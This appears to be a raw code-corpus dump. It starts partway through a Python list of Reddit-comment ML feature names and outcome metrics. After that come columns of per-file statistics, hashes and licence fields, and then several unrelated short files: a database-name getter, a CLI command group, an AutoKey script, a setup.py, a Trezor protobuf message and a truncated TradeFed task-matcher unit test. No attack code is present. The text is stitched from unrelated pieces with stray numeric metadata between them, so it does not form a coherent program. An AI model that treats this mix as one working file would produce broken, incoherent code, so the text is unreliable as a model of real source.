'Top_comment_bigram474', 'Top_comment_bigram475', 'Top_comment_bigram476', 'Top_comment_bigram477', 'Top_comment_bigram478', 'Top_comment_bigram479', 'Top_comment_bigram480', 'Top_comment_bigram481', 'Top_comment_bigram482', 'Top_comment_bigram483', 'Top_comment_bigram484', 'Top_comment_bigram485', 'Top_comment_bigram486', 'Top_comment_bigram487', 'Top_comment_bigram488', 'Top_comment_bigram489', 'Top_comment_bigram490', 'Top_comment_bigram491', 'Top_comment_bigram492', 'Top_comment_bigram493', 'Top_comment_bigram494', 'Top_comment_bigram495', 'Top_comment_bigram496', 'Top_comment_bigram497', 'Top_comment_bigram498', 'Top_comment_bigram499', 'Top_comment_bigram500', 'Top_comment_bigram501', 'Top_comment_bigram502', 'Top_comment_bigram503', 'Top_comment_bigram504', 'Top_comment_bigram505', 'Top_comment_bigram506', 'Top_comment_bigram507', 'Top_comment_bigram508', 'Top_comment_bigram509', 'Top_comment_bigram510', 'Top_comment_bigram511', 'Top_comment_bigram512', 'Top_comment_bigram513', 'Top_comment_bigram514', 'Top_comment_bigram515', 'Top_comment_bigram516', 'Top_comment_bigram517', 'Top_comment_bigram518', 'Top_comment_bigram519', 'Top_comment_bigram520', 'Top_comment_bigram521', 'Top_comment_bigram522', 'Top_comment_bigram523', 'Top_comment_bigram524', 'Top_comment_bigram525', 'Top_comment_bigram526', 'Top_comment_bigram527', 'Top_comment_bigram528', 'Top_comment_bigram529', 'Top_comment_bigram530', 'Top_comment_bigram531', 'Top_comment_bigram532', 'Top_comment_bigram533', 'Top_comment_bigram534', 'Top_comment_bigram535', 'Top_comment_bigram536', 'Top_comment_bigram537', 'Top_comment_bigram538', 'Top_comment_bigram539', 'Top_comment_bigram540', 'Top_comment_bigram541', 'Top_comment_bigram542', 'Top_comment_bigram543', 'Top_comment_bigram544', 'Top_comment_bigram545', 'Top_comment_bigram546', 'Top_comment_bigram547', 'Top_comment_bigram548', 'Top_comment_bigram549', 'Top_comment_bigram550', 'Top_comment_bigram551', 'Top_comment_bigram552', 'Top_comment_bigram553', 'Top_comment_bigram554', 'Top_comment_bigram555', 'Top_comment_bigram556', 'Top_comment_bigram557', 'Top_comment_bigram558', 'Top_comment_bigram559', 'Top_comment_bigram560', 'Top_comment_bigram561', 'Top_comment_bigram562', 'Top_comment_bigram563', 'Top_comment_bigram564', 'Top_comment_bigram565', 'Top_comment_bigram566', 'Top_comment_bigram567', 'Top_comment_bigram568', 'Top_comment_bigram569', 'Top_comment_bigram570', 'Top_comment_bigram571', 'Top_comment_bigram572', 'Top_comment_bigram573', 'Top_comment_bigram574', 'Top_comment_bigram575', 'Top_comment_bigram576', 'Top_comment_bigram577', 'Top_comment_bigram578', 'Top_comment_bigram579', 'Top_comment_bigram580', 'Top_comment_bigram581', 'Top_comment_bigram582', 'Top_comment_bigram583', 'Top_comment_bigram584', 'Top_comment_bigram585', 'Top_comment_bigram586', 'Top_comment_bigram587', 'Top_comment_bigram588', 'Top_comment_bigram589', 'Top_comment_bigram590', 'Top_comment_bigram591', 'Top_comment_bigram592', 'Top_comment_bigram593', 'Top_comment_bigram594', 'Top_comment_bigram595', 'Top_comment_bigram596', 'Top_comment_bigram597', 'Top_comment_bigram598', 'Top_comment_bigram599', 'Top_comment_bigram600', 'Top_comment_bigram601', 'Top_comment_bigram602', 'Top_comment_bigram603', 'Top_comment_bigram604', 'Top_comment_bigram605', 'Top_comment_bigram606', 'Top_comment_bigram607', 'Top_comment_bigram608', 'Top_comment_bigram609', 'Top_comment_bigram610', 'Top_comment_bigram611', 'Top_comment_bigram612', 'Top_comment_bigram613', 'Top_comment_bigram614', 'Top_comment_bigram615', 'Top_comment_bigram616', 'Top_comment_bigram617', 'Top_comment_bigram618', 'Top_comment_bigram619', 'Top_comment_bigram620', 'Top_comment_bigram621', 'Top_comment_bigram622', 'Top_comment_bigram623', 'Top_comment_bigram624', 'Top_comment_bigram625', 'Top_comment_bigram626', 'Top_comment_bigram627', 'Top_comment_bigram628', 'Top_comment_bigram629', 'Top_comment_bigram630', 'Top_comment_bigram631', 'Top_comment_bigram632', 'Top_comment_bigram633', 'Top_comment_bigram634', 'Top_comment_bigram635', 'Top_comment_bigram636', 'Top_comment_bigram637', 'Top_comment_bigram638', 'Top_comment_bigram639', 'Top_comment_bigram640', 'Top_comment_bigram641', 'Top_comment_bigram642', 'Top_comment_bigram643', 'Top_comment_bigram644', 'Top_comment_bigram645', 'Top_comment_bigram646', 'Top_comment_bigram647', 'Top_comment_bigram648', 'Top_comment_bigram649', 'Top_comment_bigram650', 'Top_comment_bigram651', 'Top_comment_bigram652', 'Top_comment_bigram653', 'Top_comment_bigram654', 'Top_comment_bigram655', 'Top_comment_bigram656', 'Top_comment_bigram657', 'Top_comment_bigram658', 'Top_comment_bigram659', 'Top_comment_bigram660', 'Top_comment_bigram661', 'Top_comment_bigram662', 'Top_comment_bigram663', 'Top_comment_bigram664', 'Top_comment_bigram665', 'Top_comment_bigram666', 'Top_comment_bigram667', 'Top_comment_bigram668', 'Top_comment_bigram669', 'Top_comment_bigram670', 'Top_comment_bigram671', 'Top_comment_bigram672', 'Top_comment_bigram673', 'Top_comment_bigram674', 'Top_comment_bigram675', 'Top_comment_bigram676', 'Top_comment_bigram677', 'Top_comment_bigram678', 'Top_comment_bigram679', 'Top_comment_bigram680', 'Top_comment_bigram681', 'Top_comment_bigram682', 'Top_comment_bigram683', 'Top_comment_bigram684', 'Top_comment_bigram685', 'Top_comment_bigram686', 'Top_comment_bigram687', 'Top_comment_bigram688', 'Top_comment_bigram689', 'Top_comment_bigram690', 'Top_comment_bigram691', 'Top_comment_bigram692', 'Top_comment_bigram693', 'Top_comment_bigram694', 'Top_comment_bigram695', 'Top_comment_bigram696', 'Top_comment_bigram697', 'Top_comment_bigram698', 'Top_comment_bigram699', 'Top_comment_bigram700', 'Top_comment_bigram701', 'Top_comment_bigram702', 'Top_comment_bigram703', 'Top_comment_bigram704', 'Top_comment_bigram705', 'Top_comment_bigram706', 'Top_comment_bigram707', 'Top_comment_bigram708', 'Top_comment_bigram709', 'Top_comment_bigram710', 'Top_comment_bigram711', 'Top_comment_bigram712', 'Top_comment_bigram713', 'Top_comment_bigram714', 'Top_comment_bigram715', 'Top_comment_bigram716', 'Top_comment_bigram717', 'Top_comment_bigram718', 'Top_comment_bigram719', 'Top_comment_bigram720', 'Top_comment_bigram721', 'Top_comment_bigram722', 'Top_comment_bigram723', 'Top_comment_bigram724', 'Top_comment_bigram725', 'Top_comment_bigram726', 'Top_comment_bigram727', 'Top_comment_bigram728', 'Top_comment_bigram729', 'Top_comment_bigram730', 'Top_comment_bigram731', 'Top_comment_bigram732', 'Top_comment_bigram733', 'Top_comment_bigram734', 'Top_comment_bigram735', 'Top_comment_bigram736', 'Top_comment_bigram737', 'Top_comment_bigram738', 'Top_comment_bigram739', 'Top_comment_bigram740', 'Top_comment_bigram741', 'Top_comment_bigram742', 'Top_comment_bigram743', 'Top_comment_bigram744', 'Top_comment_bigram745', 'Top_comment_bigram746', 'Top_comment_bigram747', 'Top_comment_bigram748', 'Top_comment_bigram749', 'Top_comment_bigram750', 'Top_comment_bigram751', 'Top_comment_bigram752', 'Top_comment_bigram753', 'Top_comment_bigram754', 'Top_comment_bigram755', 'Top_comment_bigram756', 'Top_comment_bigram757', 'Top_comment_bigram758', 'Top_comment_bigram759', 'Top_comment_bigram760', 'Top_comment_bigram761', 'Top_comment_bigram762', 'Top_comment_bigram763', 'Top_comment_bigram764', 'Top_comment_bigram765', 'Top_comment_bigram766', 'Top_comment_bigram767', 'Top_comment_bigram768', 'Top_comment_bigram769', 'Top_comment_bigram770', 'Top_comment_bigram771', 'Top_comment_bigram772', 'Top_comment_bigram773', 'Top_comment_bigram774', 'Top_comment_bigram775', 'Top_comment_bigram776', 'Top_comment_bigram777', 'Top_comment_bigram778', 'Top_comment_bigram779', 'Top_comment_bigram780', 'Top_comment_bigram781', 'Top_comment_bigram782', 'Top_comment_bigram783', 'Top_comment_bigram784', 'Top_comment_bigram785', 'Top_comment_bigram786', 'Top_comment_bigram787', 'Top_comment_bigram788', 'Top_comment_bigram789', 'Top_comment_bigram790', 'Top_comment_bigram791', 'Top_comment_bigram792', 'Top_comment_bigram793', 'Top_comment_bigram794', 'Top_comment_bigram795', 'Top_comment_bigram796', 'Top_comment_bigram797', 'Top_comment_bigram798', 'Top_comment_bigram799', 'Top_comment_bigram800', 'Top_comment_bigram801', 'Top_comment_bigram802', 'Top_comment_bigram803', 'Top_comment_bigram804', 'Top_comment_bigram805', 'Top_comment_bigram806', 'Top_comment_bigram807', 'Top_comment_bigram808', 'Top_comment_bigram809', 'Top_comment_bigram810', 'Top_comment_bigram811', 'Top_comment_bigram812', 'Top_comment_bigram813', 'Top_comment_bigram814', 'Top_comment_bigram815', 'Top_comment_bigram816', 'Top_comment_bigram817', 'Top_comment_bigram818', 'Top_comment_bigram819', 'Top_comment_bigram820', 'Top_comment_bigram821', 'Top_comment_bigram822', 'Top_comment_bigram823', 'Top_comment_bigram824', 'Top_comment_bigram825', 'Top_comment_bigram826', 'Top_comment_bigram827', 'Top_comment_bigram828', 'Top_comment_bigram829', 'Top_comment_bigram830', 'Top_comment_bigram831', 'Top_comment_bigram832', 'Top_comment_bigram833', 'Top_comment_bigram834', 'Top_comment_bigram835', 'Top_comment_bigram836', 'Top_comment_bigram837', 'Top_comment_bigram838', 'Top_comment_bigram839', 'Top_comment_bigram840', 'Top_comment_bigram841', 'Top_comment_bigram842', 'Top_comment_bigram843', 'Top_comment_bigram844', 'Top_comment_bigram845', 'Top_comment_bigram846', 'Top_comment_bigram847', 'Top_comment_bigram848', 'Top_comment_bigram849', 'Top_comment_bigram850', 'Top_comment_bigram851', 'Top_comment_bigram852', 'Top_comment_bigram853', 'Top_comment_bigram854', 'Top_comment_bigram855', 'Top_comment_bigram856', 'Top_comment_bigram857', 'Top_comment_bigram858', 'Top_comment_bigram859', 'Top_comment_bigram860', 'Top_comment_bigram861', 'Top_comment_bigram862', 'Top_comment_bigram863', 'Top_comment_bigram864', 'Top_comment_bigram865', 'Top_comment_bigram866', 'Top_comment_bigram867', 'Top_comment_bigram868', 'Top_comment_bigram869', 'Top_comment_bigram870', 'Top_comment_bigram871', 'Top_comment_bigram872', 'Top_comment_bigram873', 'Top_comment_bigram874', 'Top_comment_bigram875', 'Top_comment_bigram876', 'Top_comment_bigram877', 'Top_comment_bigram878', 'Top_comment_bigram879', 'Top_comment_bigram880', 'Top_comment_bigram881', 'Top_comment_bigram882', 'Top_comment_bigram883', 'Top_comment_bigram884', 'Top_comment_bigram885', 'Top_comment_bigram886', 'Top_comment_bigram887', 'Top_comment_bigram888', 'Top_comment_bigram889', 'Top_comment_bigram890', 'Top_comment_bigram891', 'Top_comment_bigram892', 'Top_comment_bigram893', 'Top_comment_bigram894', 'Top_comment_bigram895', 'Top_comment_bigram896', 'Top_comment_bigram897', 'Top_comment_bigram898', 'Top_comment_bigram899', 'Top_comment_bigram900', 'Top_comment_bigram901', 'Top_comment_bigram902', 'Top_comment_bigram903', 'Top_comment_bigram904', 'Top_comment_bigram905', 'Top_comment_bigram906', 'Top_comment_bigram907', 'Top_comment_bigram908', 'Top_comment_bigram909', 'Top_comment_bigram910', 'Top_comment_bigram911', 'Top_comment_bigram912', 'Top_comment_bigram913', 'Top_comment_bigram914', 'Top_comment_bigram915', 'Top_comment_bigram916', 'Top_comment_bigram917', 'Top_comment_bigram918', 'Top_comment_bigram919', 'Top_comment_bigram920', 'Top_comment_bigram921', 'Top_comment_bigram922', 'Top_comment_bigram923', 'Top_comment_bigram924', 'Top_comment_bigram925', 'Top_comment_bigram926', 'Top_comment_bigram927', 'Top_comment_bigram928', 'Top_comment_bigram929', 'Top_comment_bigram930', 'Top_comment_bigram931', 'Top_comment_bigram932', 'Top_comment_bigram933', 'Top_comment_bigram934', 'Top_comment_bigram935', 'Top_comment_bigram936', 'Top_comment_bigram937', 'Top_comment_bigram938', 'Top_comment_bigram939', 'Top_comment_bigram940', 'Top_comment_bigram941', 'Top_comment_bigram942', 'Top_comment_bigram943', 'Top_comment_bigram944', 'Top_comment_bigram945', 'Top_comment_bigram946', 'Top_comment_bigram947', 'Top_comment_bigram948', 'Top_comment_bigram949', 'Top_comment_bigram950', 'Top_comment_bigram951', 'Top_comment_bigram952', 'Top_comment_bigram953', 'Top_comment_bigram954', 'Top_comment_bigram955', 'Top_comment_bigram956', 'Top_comment_bigram957', 'Top_comment_bigram958', 'Top_comment_bigram959', 'Top_comment_bigram960', 'Top_comment_bigram961', 'Top_comment_bigram962', 'Top_comment_bigram963', 'Top_comment_bigram964', 'Top_comment_bigram965', 'Top_comment_bigram966', 'Top_comment_bigram967', 'Top_comment_bigram968', 'Top_comment_bigram969', 'Top_comment_bigram970', 'Top_comment_bigram971', 'Top_comment_bigram972', 'Top_comment_bigram973', 'Top_comment_bigram974', 'Top_comment_bigram975', 'Top_comment_bigram976', 'Top_comment_bigram977', 'Top_comment_bigram978', 'Top_comment_bigram979', 'Top_comment_bigram980', 'Top_comment_bigram981', 'Top_comment_bigram982', 'Top_comment_bigram983', 'Top_comment_bigram984', 'Top_comment_bigram985', 'Top_comment_bigram986', 'Top_comment_bigram987', 'Top_comment_bigram988', 'Top_comment_bigram989', 'Top_comment_bigram990', 'Top_comment_bigram991', 'Top_comment_bigram992', 'Top_comment_bigram993', 'Top_comment_bigram994', 'Top_comment_bigram995', 'Top_comment_bigram996', 'Top_comment_bigram997', 'Top_comment_bigram998', 'Top_comment_bigram999'] # 2065 features in XGBOOST OUTCOMES = [ 'Replies_informative_count', 'Replies_links_count', 'Replies_max_depth', 'Replies_sum_score', 'Replies_total_number', 'Top_comment_article_accommodation', 'Top_comment_certain_accommodation', 'Top_comment_conj_accommodation', 'Top_comment_discrep_accommodation', 'Top_comment_excl_accommodation', 'Top_comment_incl_accommodation', 'Top_comment_ipron_accommodation', 'Top_comment_negate_accommodation', 'Top_comment_quant_accommodation', 'Top_comment_tentat_accommodation', 'Replies_advice_count', 'Replies_laughter_count', 'Replies_gratitude_count', 'Replies_informative_URL_count', 'Replies_i_language_count', 'Replies_compliments_count', 'Replies_untuned_toxicity_children_count', 'Top_comment_direct_children', 'Replies_distinct_pairs_of_sustained_conversation', 'Replies_max_turns_of_sustained_conversations', 'Replies_untuned_non_toxic_percentage' ] # 26 metrics ALBERT_EIGENMETRICS = [ 'PC0' ] EIGENMETRICS = [ 'PC0' ] ALBERT_SUBREDDIT_HEADER = 'Top_comment_subreddit' ALBERT_TOP_COMMENT_TEXT_HEADER = 'Top_comment_text' ALBERT_POST_TEXT_HEADER = 'Post_text' Roberta_TOP_COMMENT_TEXT_HEADER = 'Top_comment_text' Roberta_EIGENMETRICS = 'PC0' PRIMARY_KEY = 'Top_comment_id' GENERIC_TOKEN = '<GENERIC>' GENERIC_ID = 0 NUM_SUBREDDIT_EMBEDDINGS = 11993 SUBREDDIT_EMBEDDINGS_SIZE = 16 ANNOTATION_ALBERT_TLC_TEXT_HEADER = ALBERT_TOP_COMMENT_TEXT_HEADER ANNOTATION_ALBERT_POST_TEXT_HEADER = ALBERT_POST_TEXT_HEADER ANNOTATION_ALBERT_SUBREDDIT_HEADER = ALBERT_SUBREDDIT_HEADER ANNOTATION_ALBERT_META_FEATURES = ALBERT_META_FEATURES ANNOTATION_ALBERT_LABEL_HEADER = 'human_label' BASELINE_ANNOTATION_MODEL_TLC_TEXT_HEADER = 'Top_comment_text' BASELINE_ANNOTATION_MODEL_LABEL_HEADER = 'human_label' ANNOTATION_XGBOOST_META_FEATURES = XGBOOST_FEATURES ANNOTATION_XGBOOST_LABELS_HEADER = 'human_label'
534.833333
52,331
0.837904
6,884
57,762
6.363161
0.309123
0.493791
0.009931
0.002466
0.082823
0.076865
0.072482
0.067003
0.064789
0.064789
0
0.10823
0.045203
57,762
107
52,332
539.831776
0.686026
0.002753
0
0.465116
0
0
0.825602
0.749922
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
0
0
0
1
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
81014ceeca8ee63f8b4a31652bab9f77788539b5
175
py
Python
get_database_name.py
gkovacs/invideo-quizzes-analysis-las2016
6ec8686ef0d3ffa5e994f8dec41590fea87e9539
[ "MIT" ]
null
null
null
get_database_name.py
gkovacs/invideo-quizzes-analysis-las2016
6ec8686ef0d3ffa5e994f8dec41590fea87e9539
[ "MIT" ]
null
null
null
get_database_name.py
gkovacs/invideo-quizzes-analysis-las2016
6ec8686ef0d3ffa5e994f8dec41590fea87e9539
[ "MIT" ]
null
null
null
#!/usr/bin/env python # md5: 30abdfb918f7a6b87bd580600c506058 # coding: utf-8 databasename = 'ml-004_clickstream_video.sqlite' def getDatabaseName(): return databasename
17.5
48
0.782857
19
175
7.105263
0.947368
0
0
0
0
0
0
0
0
0
0
0.167742
0.114286
175
9
49
19.444444
0.703226
0.411429
0
0
0
0
0.313131
0.313131
0
0
0
0
0
1
0.333333
false
0
0
0.333333
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
5
811211e0be23c6ca38827611c173c89be9f11108
291
py
Python
chakin/commands/cmd_util.py
dreyes17/python-chado
94f77b1db95010ff4629b869ea5849fcc943a18c
[ "MIT" ]
8
2017-09-08T15:19:26.000Z
2022-02-23T17:28:01.000Z
chakin/commands/cmd_util.py
dreyes17/python-chado
94f77b1db95010ff4629b869ea5849fcc943a18c
[ "MIT" ]
9
2018-02-07T18:14:41.000Z
2022-03-03T13:14:32.000Z
chakin/commands/cmd_util.py
dreyes17/python-chado
94f77b1db95010ff4629b869ea5849fcc943a18c
[ "MIT" ]
5
2018-09-28T08:03:52.000Z
2022-03-02T17:51:32.000Z
import click from chakin.commands.util.dbshell import cli as dbshell from chakin.commands.util.launch_docker_image import cli as launch_docker_image @click.group() def cli(): """ Some chado utilities """ pass cli.add_command(dbshell) cli.add_command(launch_docker_image)
18.1875
79
0.75945
42
291
5.071429
0.47619
0.169014
0.239437
0.206573
0
0
0
0
0
0
0
0
0.154639
291
15
80
19.4
0.865854
0.068729
0
0
0
0
0
0
0
0
0
0
0
1
0.125
true
0.125
0.375
0
0.5
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
1
0
0
0
0
5
811cd05486bd1d87a72a4cdbb0c83ea590c1492d
60
py
Python
close_tab1.py
sandervalstar/autokey-scripts
01c0deb574db0b3ea76fc021ae9602a350148a22
[ "MIT" ]
1
2019-10-01T07:46:14.000Z
2019-10-01T07:46:14.000Z
close_tab1.py
sandervalstar/autokey-scripts
01c0deb574db0b3ea76fc021ae9602a350148a22
[ "MIT" ]
null
null
null
close_tab1.py
sandervalstar/autokey-scripts
01c0deb574db0b3ea76fc021ae9602a350148a22
[ "MIT" ]
null
null
null
keyboard.send_keys('<ctrl>+w') keyboard.send_keys('<alt>+w')
30
30
0.716667
10
60
4.1
0.6
0.585366
0.780488
0
0
0
0
0
0
0
0
0
0.016667
60
2
31
30
0.694915
0
0
0
0
0
0.245902
0
0
0
0
0
0
1
0
true
0
0
0
0
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
5
81329d09c1a73cddb6a6607f279e76aa0f6db394
22
py
Python
mantraml/__init__.py
RJT1990/mantra
7db4d272a1625c33eaa681b8c2e75c0aa57c6952
[ "Apache-2.0" ]
330
2018-09-04T19:07:51.000Z
2021-09-14T11:21:05.000Z
mantraml/__init__.py
RJT1990/mantra
7db4d272a1625c33eaa681b8c2e75c0aa57c6952
[ "Apache-2.0" ]
13
2018-09-06T06:08:16.000Z
2018-12-01T17:04:38.000Z
mantraml/__init__.py
RJT1990/mantra
7db4d272a1625c33eaa681b8c2e75c0aa57c6952
[ "Apache-2.0" ]
20
2018-09-06T11:56:07.000Z
2021-12-03T19:48:21.000Z
__version__ = "0.966"
11
21
0.681818
3
22
3.666667
1
0
0
0
0
0
0
0
0
0
0
0.210526
0.136364
22
1
22
22
0.368421
0
0
0
0
0
0.227273
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
d48d0df0ba56a2b2f1faac5135cdc4dcf4e71d38
85
py
Python
rpfti_telegram/buian.py
orangefrg/rpfti_bot
fde9cdd11974f3eee9cf5119a0467a8c74d2a17c
[ "Apache-2.0" ]
1
2019-04-15T08:33:05.000Z
2019-04-15T08:33:05.000Z
rpfti_telegram/buian.py
orangefrg/rpfti_bot
fde9cdd11974f3eee9cf5119a0467a8c74d2a17c
[ "Apache-2.0" ]
5
2018-02-04T11:50:12.000Z
2018-11-11T13:50:15.000Z
rpfti_telegram/buian.py
orangefrg/rpfti_bot
fde9cdd11974f3eee9cf5119a0467a8c74d2a17c
[ "Apache-2.0" ]
1
2020-06-12T08:08:57.000Z
2020-06-12T08:08:57.000Z
# A stub for a new feature from .core_addon import BotCommand, BotAddon, BotCallback
28.333333
57
0.8
13
85
5.153846
0.923077
0
0
0
0
0
0
0
0
0
0
0
0.152941
85
3
57
28.333333
0.930556
0.282353
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
d497126559f879a68a53bc493b1ba09233962c75
82
py
Python
setup.py
gitRigge/getTimestamp
b36edfec1104316ae37df1526d5a9ecf4f8a0ad6
[ "MIT" ]
null
null
null
setup.py
gitRigge/getTimestamp
b36edfec1104316ae37df1526d5a9ecf4f8a0ad6
[ "MIT" ]
null
null
null
setup.py
gitRigge/getTimestamp
b36edfec1104316ae37df1526d5a9ecf4f8a0ad6
[ "MIT" ]
null
null
null
from distutils.core import setup import py2exe setup(console=["getTimestamp.py"])
20.5
34
0.804878
11
82
6
0.818182
0
0
0
0
0
0
0
0
0
0
0.013333
0.085366
82
3
35
27.333333
0.866667
0
0
0
0
0
0.182927
0
0
0
0
0
0
1
0
true
0
0.666667
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
d4b1e4ff878a26011095d573bf36ab659f291c14
133
py
Python
core/src/trezor/messages/DebugLinkStop.py
Kayuii/trezor-crypto
6556616681a4e2d7e18817e8692d4f6e041dee01
[ "MIT" ]
null
null
null
core/src/trezor/messages/DebugLinkStop.py
Kayuii/trezor-crypto
6556616681a4e2d7e18817e8692d4f6e041dee01
[ "MIT" ]
1
2019-02-08T00:22:42.000Z
2019-02-13T09:41:54.000Z
core/src/trezor/messages/DebugLinkStop.py
Kayuii/trezor-crypto
6556616681a4e2d7e18817e8692d4f6e041dee01
[ "MIT" ]
2
2019-02-07T23:57:09.000Z
2020-10-21T07:07:27.000Z
# Automatically generated by pb2py # fmt: off import protobuf as p class DebugLinkStop(p.MessageType): MESSAGE_WIRE_TYPE = 103
16.625
35
0.766917
18
133
5.555556
0.944444
0
0
0
0
0
0
0
0
0
0
0.036364
0.172932
133
7
36
19
0.872727
0.308271
0
0
1
0
0
0
0
0
0
0
0
1
0
false
0
0.333333
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
5
d4dc4134b3354ba5385072e41ec8d3e86c1b736c
20,789
py
Python
tradefed_cluster/command_task_matcher_test.py
maksonlee/tradefed_cluster
d1153743ce8ddcad752443b23851015630862aea
[ "Apache-2.0" ]
null
null
null
tradefed_cluster/command_task_matcher_test.py
maksonlee/tradefed_cluster
d1153743ce8ddcad752443b23851015630862aea
[ "Apache-2.0" ]
null
null
null
tradefed_cluster/command_task_matcher_test.py
maksonlee/tradefed_cluster
d1153743ce8ddcad752443b23851015630862aea
[ "Apache-2.0" ]
null
null
null
# Lint as: python2, python3 # Copyright 2019 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Tests for command_task_matcher.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import unittest import six from tradefed_cluster import api_messages from tradefed_cluster import command_task_matcher from tradefed_cluster import common from tradefed_cluster import datastore_entities CLUSTER = 'cluster' HOSTNAME = 'hostname' class CommandTaskMatcherTest(unittest.TestCase): def _CreateDeviceInfo(self, serial, run_target, group_name, state=common.DeviceState.AVAILABLE, sim_state=None, battery_level='unknown'): return api_messages.DeviceInfo( device_serial=serial, hostname=HOSTNAME, run_target=run_target, state=state, group_name=group_name, cluster=CLUSTER, sim_state=sim_state, battery_level=battery_level) def _CreateHostInfo(self, device_infos): return api_messages.HostInfo( hostname=HOSTNAME, cluster=CLUSTER, device_infos=device_infos) def _CreateCommandTask(self, task_id, groups): """Create CommandTask. Args: task_id: task id groups: a list of lists of datastore_entities.RunTarget objects Returns: CommandTask """ test_bench = datastore_entities.TestBench( cluster=CLUSTER, host=datastore_entities.Host(groups=[])) for run_targets in groups: group = datastore_entities.Group(run_targets=run_targets) test_bench.host.groups.append(group) return datastore_entities.CommandTask( task_id=task_id, test_bench=test_bench) def testBuildGroupTrees(self): host = self._CreateHostInfo( [self._CreateDeviceInfo('d1', 'run_target1', 'g1'), self._CreateDeviceInfo('d2', 'run_target2', 'g1')]) matcher = command_task_matcher.CommandTaskMatcher(host) # group g1 group = matcher._groups['g1'] self.assertEqual('g1', group.name) r1 = group.run_targets['run_target1'] r2 = group.run_targets['run_target2'] self.assertIs(group, r1.group) self.assertIs(group, r2.group) d1 = r1.devices['d1'] d2 = r2.devices['d2'] self.assertIs(r1, d1.run_target) self.assertIs(r2, d2.run_target) def testBuildGroupTrees_allocatedGroup(self): """Test group with allocate device will not be used to match.""" host = self._CreateHostInfo( [self._CreateDeviceInfo('d1', 'run_target1', 'g1', common.DeviceState.ALLOCATED), self._CreateDeviceInfo('d2', 'run_target2', 'g1')]) matcher = command_task_matcher.CommandTaskMatcher(host) self.assertIsNone(matcher._groups.get('g1')) def testBuildGroupTrees_notAvailableDevices(self): """Test devices not available will not be used to match.""" host = self._CreateHostInfo( [self._CreateDeviceInfo('d1', 'run_target1', 'g1', common.DeviceState.GONE), self._CreateDeviceInfo('d2', 'run_target2', 'g1')]) matcher = command_task_matcher.CommandTaskMatcher(host) group = matcher._groups['g1'] self.assertEqual(1, len(group.run_targets)) self.assertEqual(1, len(group.run_targets['run_target2'].devices)) def testBuildRunTargetToDevices(self): host = self._CreateHostInfo( [self._CreateDeviceInfo('d1', 'run_target1', 'g1'), self._CreateDeviceInfo('d2', 'run_target2', 'g1'), self._CreateDeviceInfo('d3', 'run_target1', 'g2')]) matcher = command_task_matcher.CommandTaskMatcher(host) r1_devices = matcher._run_target_index['run_target1'] self.assertSetEqual( set(['d1', 'd3']), set((s for s, _ in six.iteritems(r1_devices)))) r2_devices = matcher._run_target_index['run_target2'] self.assertSetEqual( set(['d2']), set((s for s, _ in six.iteritems(r2_devices)))) def testMatchType1Test(self): host = self._CreateHostInfo( [self._CreateDeviceInfo('d1', 'run_target1', 'g1'), self._CreateDeviceInfo('d2', 'run_target2', 'g1'), self._CreateDeviceInfo('d3', 'run_target1', 'g2')]) matcher = command_task_matcher.CommandTaskMatcher(host) task = self._CreateCommandTask( '1', [[datastore_entities.RunTarget(name='run_target2')]]) matched_devices = matcher.Match(task) self.assertEqual(1, len(matched_devices)) d = matched_devices[0] self.assertEqual('d2', d.device_serial) def testMatchType1Test_withAttribute(self): host = self._CreateHostInfo( [self._CreateDeviceInfo('d1', 'run_target1', 'g1'), self._CreateDeviceInfo('d2', 'run_target2', 'g1'), self._CreateDeviceInfo('d3', 'run_target1', 'g2', sim_state='READY')]) matcher = command_task_matcher.CommandTaskMatcher(host) task = self._CreateCommandTask( '1', [[ datastore_entities.RunTarget( name='run_target1', device_attributes=[ datastore_entities.Attribute( name='sim_state', value='READY')] ) ]]) matched_devices = matcher.Match(task) self.assertEqual(1, len(matched_devices)) d = matched_devices[0] self.assertEqual('d3', d.device_serial) self.assertEqual('READY', d.attributes['sim_state']) def testMatchType1Test_withBatteryLevel(self): host = self._CreateHostInfo( [self._CreateDeviceInfo('d1', 'run_target1', 'g1'), self._CreateDeviceInfo('d2', 'run_target1', 'g2', battery_level='20'), self._CreateDeviceInfo('d3', 'run_target1', 'g3', battery_level='80')]) matcher = command_task_matcher.CommandTaskMatcher(host) task = self._CreateCommandTask( '1', [[ datastore_entities.RunTarget( name='run_target1', device_attributes=[ datastore_entities.Attribute( name='battery_level', value='60', operator='>')] ) ]]) matched_devices = matcher.Match(task) self.assertEqual(1, len(matched_devices)) d = matched_devices[0] self.assertEqual('d3', d.device_serial) self.assertEqual('80', d.attributes['battery_level']) def testMatchType1Test_withDeviceSerial(self): host = self._CreateHostInfo( [self._CreateDeviceInfo('d1', 'run_target1', 'g1'), self._CreateDeviceInfo('d2', 'run_target2', 'g1'), 